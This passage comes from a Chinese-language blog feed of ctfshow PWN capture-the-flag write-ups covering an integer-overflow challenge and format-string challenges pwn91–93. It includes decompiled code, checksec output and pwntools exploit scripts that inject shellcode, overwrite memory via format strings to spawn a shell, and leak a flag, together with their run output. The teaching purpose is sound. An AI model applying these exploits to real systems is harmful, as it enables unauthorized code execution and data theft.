0001</span><br><span class="line">取反后：1111 1111 1111 1110</span><br><span class="line">加 1 后：1111 1111 1111 1111（二进制补码）</span><br><span class="line">所以，-1 在 int16_t 中存储的二进制是 1111111111111111（十六进制为0xFFFF）。</span><br><span class="line"></span><br><span class="line">转换为 uint16_t（16 位无符号整数）时发生了什么？</span><br><span class="line">uint16_t 没有符号位，所有 16 位都用于表示数值，范围是0 ~ 65535（2^16 - 1）。</span><br><span class="line">当 int16_t 的 - 1 转换为 uint16_t 时，二进制位不变（仍然是1111111111111111），但解读方式变了：</span><br><span class="line">无符号情况下，1111111111111111 表示的数值是 2^15 + 2^14 + ... + 2^0 = 65535。</span><br><span class="line"></span><br><span class="line">总结：</span><br><span class="line">-1（int16_t）和65535（uint16_t）的二进制存储完全相同（都是0xFFFF），只是因为「符号解读方式」不同，导致数值看起来发生了变化。</span><br><span class="line">这就是整数溢出漏洞的核心：利用有符号与无符号的转换规则，绕过程序对输入长度的限制（原本限制≤1024，变成了允许 65535 字节输入）。</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">b&#x27;-1&#x27;</span>)</span><br><span class="line">buf = <span class="built_in">int</span>(io.recv(<span class="number">8</span>),<span class="number">16</span>)</span><br><span class="line">io.recv()</span><br><span class="line">payload = asm(shellcraft.sh()).ljust(<span class="number">0x41b</span>+<span class="number">0x4</span>,<span class="string">b&#x27;A&#x27;</span>) + p32(buf)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 58</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;pwn101&quot;&gt;&lt;a href=&quot;#pwn101&quot; class=&quot;headerlink&quot; title=&quot;pwn101&quot;&gt;&lt;/a&gt;pwn101&lt;/h2&gt;&lt;h6 id=&quot;Hint：还是简单的知识&quot;&gt;&lt;a href=&quot;#Hint：还是简单的知识&quot; class=&quot;head</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="ctfshow_pwn" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/"/>
    
    <category term="6-整数安全" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/6-%E6%95%B4%E6%95%B0%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
  <entry>
    <title>pwn91-100</title>
    <link href="https://rhea006.github.io/2025/08/c0a5ee700520.html"/>
    <id>https://rhea006.github.io/2025/08/c0a5ee700520.html</id>
    <published>2025-08-07T04:00:00.000Z</published>
    <updated>2025-08-22T02:09:43.491Z</updated>
    
    <content type="html"><![CDATA[<h1 id="格式化字符串"><a href="#格式化字符串" class="headerlink" title="格式化字符串"></a>格式化字符串</h1><h2 id="pwn91"><a href="#pwn91" class="headerlink" title="pwn91"></a>pwn91</h2><h6 id="Hint：开始格式化字符串了，先来个简单的吧"><a href="#Hint：开始格式化字符串了，先来个简单的吧" class="headerlink" title="Hint：开始格式化字符串了，先来个简单的吧"></a>Hint：开始格式化字符串了，先来个简单的吧</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭PIE，部分开启RELRO</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(&amp;argc);</span><br><span class="line">  logo();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">if</span> ( daniu == <span class="number">6</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;daniu praise you for a good job!&quot;</span>);</span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到当daniu &#x3D; 6 的时候即可获的一个shell</p><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">80</span>]; <span class="comment">// [esp+Ch] [ebp-5Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// [esp+5Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x50u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(s);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;daniu now is :%d!\n&quot;</span>, daniu);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到这里的ptintf(s)明显的存在格式化字符串漏洞，第一次接触，不知道为啥这里就存在漏洞？别急后面会逐步讲解。</p><p>首先将数组s初始化为0，清除数组中的内容，然后读取0x50的数据到字符数组s中。</p><p>printf(s); 使用用户输入的内容作为格式字符串，进行 printf 输出。这里存在格式字符串漏洞</p><p>我们可以先简单尝试一下，先正常输入字符，看起来没有问题：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Very Ez !</span><br><span class="line">    * *************************************</span><br><span class="line">rhea</span><br><span class="line">rhea</span><br><span class="line">daniu now is :0!</span><br></pre></td></tr></table></figure><p>但是当我们输入特殊的格式字符时候会输出特定的内容：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Very Ez !</span><br><span class="line">    * *************************************</span><br><span class="line">%p</span><br><span class="line">0xffcd2f0c</span><br><span class="line">daniu now is :0!</span><br></pre></td></tr></table></figure><p>后续知识在下面会讲解，接着回到这题，我们看一下daniu：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:0804B038                 public daniu</span><br><span class="line">.bss:0804B038 daniu           dd ?                    ; DATA XREF:</span><br></pre></td></tr></table></figure><p>daniu的地址为：0x804B038</p><p>可以看到daniu在bss段，测一下格式化字符串的偏移：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Very Ez !</span><br><span class="line">    * *************************************</span><br><span class="line">AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x</span><br><span class="line">AAAA-fff9d7ec-50-804870a-46-e97b5d40-fff9d828-41414141-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78</span><br><span class="line">daniu now is :0!</span><br></pre></td></tr></table></figure><p><code>A</code>的 ASCII 码是 0x41,所以偏移为7</p><p>进行验证一下：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Very Ez !</span><br><span class="line">    * *************************************</span><br><span class="line">aaaa%7<span class="variable">$p</span></span><br><span class="line">aaaa0x61616161</span><br><span class="line">daniu now is :0!</span><br><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Very Ez !</span><br><span class="line">    * *************************************</span><br><span class="line">aaaa%7<span class="variable">$x</span></span><br><span class="line">aaaa61616161</span><br><span class="line">daniu now is :0!</span><br></pre></td></tr></table></figure><p>我们需要让daniu &#x3D; 6，现在又有格式化字符串漏洞，我们就可以使用其任意地址写功能将daniu的值修改为6即可获得shell</p><p>这里使用pwntools模块中的fmtstr模块直接进行改写：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">fmtstr_payload(<span class="number">7</span>,&#123;daniu:<span class="number">6</span>&#125;)</span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">该函数的作用是自动生成一段格式化字符串，当程序执行到该字符串时，会将daniu变量的内存地址处的值修改为6，无需手动构造复杂的格式化字符序列（如 %7$n这类写法）</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">7：表示偏移量，指输入的格式化字符串中，变量的地址在栈上的位置索引为7。</span></span><br><span class="line"><span class="string">&#123;daniu： 6&#125;：是一个字典参数，表示要执行的写入作：</span></span><br><span class="line"><span class="string">键 是目标内存地址（通常是一个变量的地址）。daniu</span></span><br><span class="line"><span class="string">值 是要写入该地址的目标数值。6</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">daniu = <span class="number">0x804B038</span></span><br><span class="line">payload = fmtstr_payload(<span class="number">7</span>,&#123;daniu:<span class="number">6</span>&#125;)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Very Ez !</span><br><span class="line">    * *************************************</span><br><span class="line">     \xaca8\xb0\x04\x08</span><br><span class="line">daniu now is :6!</span><br><span class="line">daniu praise you <span class="keyword">for</span> a good job!</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn92"><a href="#pwn92" class="headerlink" title="pwn92"></a>pwn92</h2><h6 id="Hint：可能上一题没太看懂？来看下基础吧"><a href="#Hint：可能上一题没太看懂？来看下基础吧" class="headerlink" title="Hint：可能上一题没太看懂？来看下基础吧"></a>Hint：可能上一题没太看懂？来看下基础吧</h6><p>先运行一下程序：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Look at the difference !</span><br><span class="line">    * *************************************</span><br><span class="line">Here is some example:</span><br><span class="line">Hello CTFshow %</span><br><span class="line">Hello CTFshow!</span><br><span class="line">Num : 114514</span><br><span class="line">Format Strings</span><br><span class="line">           A</span><br><span class="line">           Hello</span><br><span class="line">           A</span><br><span class="line">          Hello!</span><br><span class="line">Strings Format</span><br><span class="line"></span><br><span class="line">Enter your format string: rhea</span><br><span class="line">The flag is :rhea</span><br></pre></td></tr></table></figure><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位保护全开</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Here is some example:&quot;</span>);</span><br><span class="line">  example();</span><br><span class="line">  flagishere();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到输出了一些实例，跟进看一下example：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">example</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v2; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello CTFshow %%\n&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Hello CTFshow!&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Num : %d\n&quot;</span>, <span class="number">114514</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s %s\n&quot;</span>, <span class="string">&quot;Format&quot;</span>, <span class="string">&quot;Strings&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%12c\n&quot;</span>, <span class="number">65</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%16s\n&quot;</span>, <span class="string">&quot;Hello&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%12c%n\n&quot;</span>, <span class="number">65</span>, &amp;v1);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%16s%n\n&quot;</span>, <span class="string">&quot;Hello!&quot;</span>, &amp;v1);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%2$s %1$s\n&quot;</span>, <span class="string">&quot;Format&quot;</span>, <span class="string">&quot;Strings&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%42c%1$n\n&quot;</span>, &amp;v1);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后这里大家可以对照输出的结果来进行查看输出了一些什么东西。</p><p>对于题目来讲，我们仅需跟进flagishere函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">flagishere</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *stream; <span class="comment">// [rsp+8h] [rbp-68h]</span></span><br><span class="line">  <span class="type">char</span> format[<span class="number">10</span>]; <span class="comment">// [rsp+16h] [rbp-5Ah] BYREF</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">72</span>]; <span class="comment">// [rsp+20h] [rbp-50h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v4; <span class="comment">// [rsp+68h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v4 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Enter your format string: &quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%9s&quot;</span>, format);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;The flag is :&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(format, s);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我们可以看到使用用户输入的格式化字符串将 s 输出，那么我们如果需要获取flag，仅仅需要使用 %s 输出flag字符串即可获取flag【当用户输入的 <code>format</code> 是 <code>&quot;%s&quot;</code>时，程序中执<code>printf(format, s)</code>就等价于直接调用<code>printf(&quot;%s&quot;, s)</code>，<code>%s</code>会指示读取第二个参数（即 flag 所在的地址）。】</p><p>一些常见的转换指示符和长度如下：</p><table><thead><tr><th>指示符</th><th>类型</th><th>输出</th></tr></thead><tbody><tr><td>%d</td><td>4 byte</td><td>整数(Integer)</td></tr><tr><td>%u</td><td>4 byte</td><td>无符号整数(Unsigned Integer)</td></tr><tr><td>%x</td><td>4 byte</td><td>十六进制(Hex)</td></tr><tr><td>%s</td><td>4 byte</td><td>字符串(String)</td></tr><tr><td>%c</td><td>1 byte</td><td>字符(Character)</td></tr></tbody></table><table><thead><tr><th>长度</th><th>类型</th><th>输出</th></tr></thead><tbody><tr><td>hh</td><td>1 byte</td><td>字符(char)</td></tr><tr><td>h</td><td>2 byte</td><td>短整数(short int)</td></tr><tr><td>l</td><td>4 byte</td><td>长整数(long int)</td></tr><tr><td>II</td><td>8 byte</td><td>长长整数(long long int)</td></tr></tbody></table><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">&#x27;%s&#x27;</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Format_String</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Look at the difference !</span><br><span class="line">    * *************************************</span><br><span class="line">Here is some example:</span><br><span class="line">Hello CTFshow %</span><br><span class="line">Hello CTFshow!</span><br><span class="line">Num : 114514</span><br><span class="line">Format Strings</span><br><span class="line">           A</span><br><span class="line">           Hello</span><br><span class="line">           A</span><br><span class="line">          Hello!</span><br><span class="line">Strings Format</span><br><span class="line">                                         \xa4</span><br><span class="line">Enter your format string: The flag is :flag&#123;just_test_my_process&#125;</span><br><span class="line">[*] Got EOF <span class="keyword">while</span> reading <span class="keyword">in</span> interactive</span><br></pre></td></tr></table></figure><h2 id="pwn93"><a href="#pwn93" class="headerlink" title="pwn93"></a>pwn93</h2><h6 id="Hint：emmm，再来一道基础原理？"><a href="#Hint：emmm，再来一道基础原理？" class="headerlink" title="Hint：emmm，再来一道基础原理？"></a>Hint：emmm，再来一道基础原理？</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位保护全开</p><p>IDA查看main函数</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [rsp+4h] [rbp-Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  menu();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Enter your choice: &quot;</span>);</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%d&quot;</span>, &amp;v4);</span><br><span class="line">  <span class="keyword">switch</span> ( v4 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">      func1();</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">      func2();</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">      func3();</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">      func4();</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">5</span>:</span><br><span class="line">      func5();</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line">      nothing_here();</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">7</span>:</span><br><span class="line">      exit0();</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Invalid choice. Please enter a valid option.&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进menu函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">menu</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Choose an option:&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1.Crash the program&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2.Stack data breaches&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;3.Arbitrary address memory leak&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;4.Stack data override&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;5.Arbitrary address memory override&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;6. ... &quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>分别跟进各个函数，给大家演示了一些基本用法。获取flag的地方在case 7 exit0()函数，跟进后发现其实是一个后门函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">exit0</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *stream; <span class="comment">// [rsp+8h] [rbp-58h]</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">72</span>]; <span class="comment">// [rsp+10h] [rbp-50h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+58h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, s);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>也就是说读取用户输入的时候输入7即可获得flag。</p><p><strong><code>看一下其他的函数吧</code></strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">; Attributes: bp-based frame</span><br><span class="line"></span><br><span class="line">; __int64 func1(void)</span><br><span class="line">public func1</span><br><span class="line">func1 proc near</span><br><span class="line">/*func1 是一个公开可见的函数（public），proc near 表示这是一个近过程（near procedure），即调用该函数时只需要偏移地址而不需要段地址*/</span><br><span class="line">; __unwind &#123;</span><br><span class="line">push    rbp</span><br><span class="line">mov     rbp, rsp</span><br><span class="line">/*这是 x86-64 汇编中函数开始的标准指令序列：</span><br><span class="line">- 保存基址指针（rbp）到栈上</span><br><span class="line">- 将栈指针（rsp）的值赋给基址指针（rbp），建立新的栈帧*/</span><br><span class="line">lea     rdi, aSSSSSSSSSSSSSS ; &quot;%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%&quot;...</span><br><span class="line">mov     eax, 0</span><br><span class="line">call    _printf</span><br><span class="line">/*这部分是函数的核心操作：</span><br><span class="line">- lea rdi, aSSSSSSSSSSSSSS：将一个字符串常量的地址加载到 rdi 寄存器。这个字符串看起来是由很多 %s 格式说明符组成的（用于 printf 函数）</span><br><span class="line">- mov eax, 0：将 eax 寄存器清零。在 x86-64 调用约定中，eax 用于指定浮点参数的数量，这里为 0 表示没有浮点参数</span><br><span class="line">- call _printf：调用 printf 函数，输出前面加载的字符串*/</span><br><span class="line">nop</span><br><span class="line">pop     rbp</span><br><span class="line">retn</span><br><span class="line">/*这是函数结束的标准指令序列：</span><br><span class="line">- nop：空操作，可能是编译器为了对齐而插入的</span><br><span class="line">- pop rbp：从栈上恢复之前保存的基址指针</span><br><span class="line">- retn：返回调用者，相当于弹出栈上的返回地址并跳转到该地址*/</span><br><span class="line">; &#125; // starts at A87</span><br><span class="line">func1 endp</span><br><span class="line">/*func1 函数的结束*/</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">Enter your choice:</span><br><span class="line">1</span><br><span class="line">Segmentation fault (core dumped)</span><br></pre></td></tr></table></figure><p>“段错误”:程序试图访问不属于它的内存区域，或者对内存进行了非法操作。崩溃发生在 strlen函数内部（__strlen_avx2是 glibc 的优化版 strlen），strlen被调用是因为 printf遇到 %s时，会尝试读取栈上的一个地址并计算其长度，当 printf尝试用这些无效地址调用 strlen时，触发 Segmentation Fault</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">func2</span><span class="params">(__int64 a1, <span class="type">int</span> a2, <span class="type">int</span> a3, <span class="type">const</span> <span class="type">void</span> *a4, <span class="type">const</span> <span class="type">void</span> *a5, <span class="type">const</span> <span class="type">void</span> *a6)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;%08x-%07x-%p-%p-%p&quot;</span>, a2, a3, a4, a5, a6);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>格式字符串”%08x-%07x-%p-%p-%p”,定义了输出格式：</p><ul><li><code>%08x</code>：以 8 位十六进制数输出，不足 8 位则前面补 0（对应参数 <code>a2</code>）</li><li><code>%07x</code>：以 7 位十六进制数输出，不足 7 位则前面补 0（对应参数 <code>a3</code>）</li><li><code>%p</code>：以指针格式（通常是十六进制）输出内存地址（分别对应 <code>a4</code>、<code>a5</code>、<code>a6</code>）</li></ul><p>gdb 调试看详细信息</p><p><code>gdb 